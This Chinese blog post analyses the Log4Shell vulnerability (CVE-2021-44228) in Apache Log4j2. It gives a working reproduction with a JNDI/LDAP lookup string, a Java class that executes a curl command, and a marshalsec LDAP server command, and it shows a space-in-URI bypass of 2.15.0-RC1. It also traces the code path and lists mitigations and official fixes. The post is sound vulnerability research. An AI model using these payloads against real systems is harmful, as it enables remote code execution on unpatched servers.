CVE-2021-44228 log4j2 RCE 分析

使用Java 8u181

本文同时提供以下语言的翻译: English.

漏洞简介

Apache Log4j2是一个基于Java的日志记录工具。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。

漏洞适用版本为2.0 <= Apache log4j2 <= 2.14.1,只需检测Java应用是否引入log4j-core这个jar。若存在应用使用,极大可能会受到影响。

Exploit 复现

漏洞复现代码

采用Maven构建Trigger项目

引入org.apache.logging.log4j 版本2.14.1

触发代码,只要logger使用了可记录等级进行记录,就会触发漏洞

1
2
3
4
5
6
7
8
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class Main {
private static final Logger logger = LogManager.getLogger();
public static void main(String[] args) {
logger.error("${jndi:ldap://ip:1389/#Exploit}123");
}
}

JNDI Payload 代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.Reader;

public class Exploit{
public Exploit() throws IOException,InterruptedException{
String cmd="curl 127.0.0.1:5555";
final Process process = Runtime.getRuntime().exec(cmd);
printMessage(process.getInputStream());;
printMessage(process.getErrorStream());
int value=process.waitFor();
System.out.println(value);
}

private static void printMessage(final InputStream input) {
new Thread (new Runnable() {
@Override
public void run() {
// TODO Auto-generated method stub
Reader reader =new InputStreamReader(input);
BufferedReader bf = new BufferedReader(reader);
String line = null;
try {
while ((line=bf.readLine())!=null)
{
System.out.println(line);
}
}catch (IOException e){
e.printStackTrace();
}
}
}).start();
}
}

编译这段代码以便后续的JNDI调用使用,触发构造方法执行命令

漏洞触发

典型的使用JNDI进行触发

首先在class文件处开启HTTP服务

然后利用marshalsec开启LDAP服务

1
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8080/#Exploit

运行main函数,成功触发

漏洞原理分析

代码利用链分析

由于我们知道是JNDI注入,因此在javax.naming.InitialContext的构造方法处下断点

文件位于rt.jar/javax/naming/InitialContext.java

成功抓到断点

image-20220116165713751

调用栈信息如下

image-20220116165748332

我们知道要触发JNDI漏洞必须要通过lookup函数,从JndiLookup.lookup函数向上回溯

我们往Payload加入一些杂物,看看什么时候聚焦到payload ${jndi:ldap://127.0.0.1:1389/#Exploit}

可以发现substitute会将payload AAAAA${jndi:ldap://127.0.0.1:1389/#Exploit}BBBBB解引用变成JNDI URIldap://127.0.0.1:1389/#Exploit

除此之外,我们可以发现resolveVariable用于处理使用${}包裹的变量

再继续往上回溯,可以发现如下一段代码

image-20220116170645443

可以发现只要遇到${则开始调用StrSubstuitutor的replace方法进行解析

漏洞深入分析

log4j2的三大组件

  • Logger 日志记录器
  • Appender 日志输出
  • Layout 日志格式化

继续分析前面得到的调用栈,可以发现

在log4j2中通过LoggerConfig.processLogEvent()处理日志事件,主要部分在调用callAppenders()即调用Appender

image-20220116172122778

Appender功能主要是负责将日志事件传递到其目标,常用的Appender有ConsoleAppender(输出到控制台)、FileAppender(输出到本地文件)等,通过AppenderControl获取具体的Appender,本次调试的是ConsoleAppender。

Appender调用Layout获取日志格式,通过Layout.encode()进行日志的格式化

image-20220116172221859

Layout会获取formatters来完成具体的格式化

处理传入的message通过MessagePatternConverter.format(),也是本次漏洞的关键之处。当config存在并且noLookups为false,匹配到${'则调用workingBuilder.append()获取StrSubstitutor内容来替换原来的信息。

image-20220116170645443

可以发现此处有个noLookups,是一个配置值,默认为false,之后我们研究下如何利用它进行防御

再往前看,然后是StrSubstitutor.resolveVariable()进行解析,可以发现支持这些协议

image-20220116173400517

其中就包含了JNDI

安全缓解措施 - 利用系统配置禁止LookUp

image-20220116170645443

noLookups通过交叉引用可以找到

image-20220116172659445

image-20220116172735690

这里先一种最简单的——直接代码增加配置

1
2
3
4
5
6
7
8
9
10
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import java.lang.*;
public class Main {
public static void main(String[] args) {
System.setProperty("log4j2.formatMsgNoLookups","true");
final Logger logger = LogManager.getLogger();
logger.error("AAAAA${jndi:ldap://127.0.0.1:1389/#Exploit}BBBBBB");
}
}

再次运行,可以发现不会对${jndi:ldap://127.0.0.1:1389/#Exploit}进行解析

除此之外,也可以通过properties文件或命令行进行配置

安全缓解措施 - 通过log4j2的配置文件禁止LookUp

我认为这是除了升级外最好的方法

参考官方文档:Log4j – Configuring Log4j 2 (apache.org)

除了XML还支持其它格式,以XML为例,在resource中创建log4j2.xml,一个能禁止LookUp的最小可用配置如下

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="[%t] %-5level %m{nolookups} %n"/>
</Console>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>

拓展思考 - log4j2为什么需要JNDI功能

Log4j – Configuring Log4j 2 - Apache Log4j 2找到Property Substitution(属性替换)功能,以通过本地之外的来源获取属性,使日志信息更加丰富

由于开发者没有考虑到JNDI的潜在危害,因此没有将其默认配置值设置为不加载也没有对JNDI来源地址进行限制

其它拓展

常见的假阳性结果

许多测试者通过DNS信息来判断是否发生了解析,以此来确定漏洞是否触发,这是不严谨的,许多公共服务都可能对这个地址进行DNS查询,用于垃圾拦截等功能,这不能代表其成功触发了漏洞

比较好的方式是在子域名中添加一个内嵌查询,如${sys:java.version}

防御方法

  1. 升级log4j core的最新版本
  2. 在配置文件中的Layout设置禁止LookUp
  3. 在系统配置中将设置formatMsgNoLookups为true,禁止LookUp

官方的修复方法

参考:https://logging.apache.org/log4j/2.x/changes-report.html

在2.15.0已默认禁用Message里的Lookups,并且默认限制了JNDI以及LDAP可以获取的类

image-20220117152244412

image-20220117152320407

除此之外,在2.16.0,默认禁用JNDI,需要使用log4j.enableJndi来启用

彻底移除在Message中的LookUps支持

image-20220116194734802

log4j 2.15.0-RC1绕过

Google了解到2.15.0-RC1这个候选发行版仍然存在可以被Bypass的可能性

编译log4j 2.15.0-RC1

由于RC版本现在在Maven仓库已经没有了,所有只能去GitHub手动获取源代码进行编译

Tags · apache/logging-log4j2 (github.com)

下载源代码后,根据README,先配置toolschains,调整jdk位置,由于只需要jdk1.8的包,只使用1.8的toolchain,其它注释掉

由于不需要编译所有包,在pom.xml中找到modules

将不需要的包注释,仅保留log4j-corelog4j-api

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<modules>
<!-- <module>log4j-api-java9</module> -->
<module>log4j-api</module>
<!-- <module>log4j-core-java9</module> -->
<module>log4j-core</module>
<!-- <module>log4j-layout-template-json</module>
<module>log4j-core-its</module>
<module>log4j-1.2-api</module>
<module>log4j-slf4j-impl</module>
<module>log4j-slf4j18-impl</module>
<module>log4j-to-slf4j</module>
<module>log4j-jcl</module>
<module>log4j-flume-ng</module>
<module>log4j-taglib</module>
<module>log4j-jmx-gui</module>
<module>log4j-samples</module>
<module>log4j-bom</module>
<module>log4j-jdbc-dbcp2</module>
<module>log4j-jpa</module>
<module>log4j-couchdb</module>
<module>log4j-mongodb3</module>
<module>log4j-mongodb4</module>
<module>log4j-cassandra</module>
<module>log4j-web</module>
<module>log4j-jakarta-web</module>
<module>log4j-perf</module>
<module>log4j-iostreams</module>
<module>log4j-jul</module>
<module>log4j-jpl</module>
<module>log4j-liquibase</module>
<module>log4j-appserver</module>
<module>log4j-osgi</module>
<module>log4j-docker</module>
<module>log4j-kubernetes</module>
<module>log4j-spring-boot</module>
<module>log4j-spring-cloud-config</module> -->
</modules>

使用如下mvn指令编译

  • -t toolchains-sample-mac.xml 指定toolchains文件

  • -Dmaven.test.skip=true 跳过测试

  • -Dhttp.proxyHost=127.0.0.1 -Dhttp.proxyPort=1099 使用代理加速

1
2
# JAVA_HOME设置为jdk1.8
./mvnw clean install -t toolchains-sample-mac.xml -Dmaven.test.skip=true -Dhttp.proxyHost=127.0.0.1 -Dhttp.proxyPort=1099

编译完成后生成的artifact(jar包)在各个module的target文件夹中

利用链分析

在pom.xml修改log4j-core版本为2.15.0,然后将编译出来的jar包全部替换进去

由于2.15.0版本中默认禁用了LookUp,我们首先需要通过配置将其打开

修改log4j2.xml配置

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" encoding="UTF-8"?>
<Configuration>
<Appenders>
<Console name="Console" target="SYSTEM_OUT">
<PatternLayout pattern="[%t] %-5level %m{lookups} %n"/>
</Console>
</Appenders>
<Loggers>
<Root level="info">
<AppenderRef ref="Console"/>
</Root>
</Loggers>
</Configuration>

此时,Payload如下可以被解析

1
${sys:java.version}

但是JNDI Payload不会被解析

1
${jndi:ldap://ip:1389/#Exploit}

由于我们知道现在${}还是会解析,但是jndi受限制,所以根据之前的分析,我们前往StrSubstitutor.resolveVariable()看看变量解析的工作流程

image-20220117231047455

进入lookup()

image-20220117231511877

我们可以发现JNDI其实还是可以解析的,再进入一层lookup,观察JNDI内部受到了什么限制

image-20220117231809554

继续进入jndiManager的lookup

可以发现,首先使用了一些协议和来源地址的限制

image-20220117232148838

image-20220117232027812

来源地址可以发现是本机的一些IP,此时假设来源地址的限制也不影响我们,我们也是在本地做测试,并且ldap也在允许的协议中

image-20220117232751415

可以发现此处禁止了引用对象的使用,检查方法是attributeMap.get(OBJECT_FACTORY)!=null

除此之外,还限制了JNDI的另一种利用方式——反序列化,其通过allowedClasses将可以反序列化的类型限制在了Java的几个基本类型

image-20220117234337261

虽然局部看起来很完美,但是代码的异常捕捉逻辑有问题,可以看到如下

image-20220117232926045

如果出现URI语法错误,就可以直接触发异常处理并进入lookup,那要如何让URI出错又能正常lookup呢?

只需往URI中加一个无URL编码的空格即可,lookup的时候会忽略这个空格,我们把payload改为

1
${jndi:ldap://127.0.0.1:1389/# Exploit}

可以发现成功触发命令执行

image-20220117233150910

绕过总结

此处绕过的条件较为苛刻,必须满足如下两个条件

  • 开发者主动开启lookups功能
  • LDAP来源地址必须在白名单中,而默认白名单为本机地址

参考

作者

4xpl0r3r

发布于

2022-01-19

更新于

2022-02-13

许可协议

评论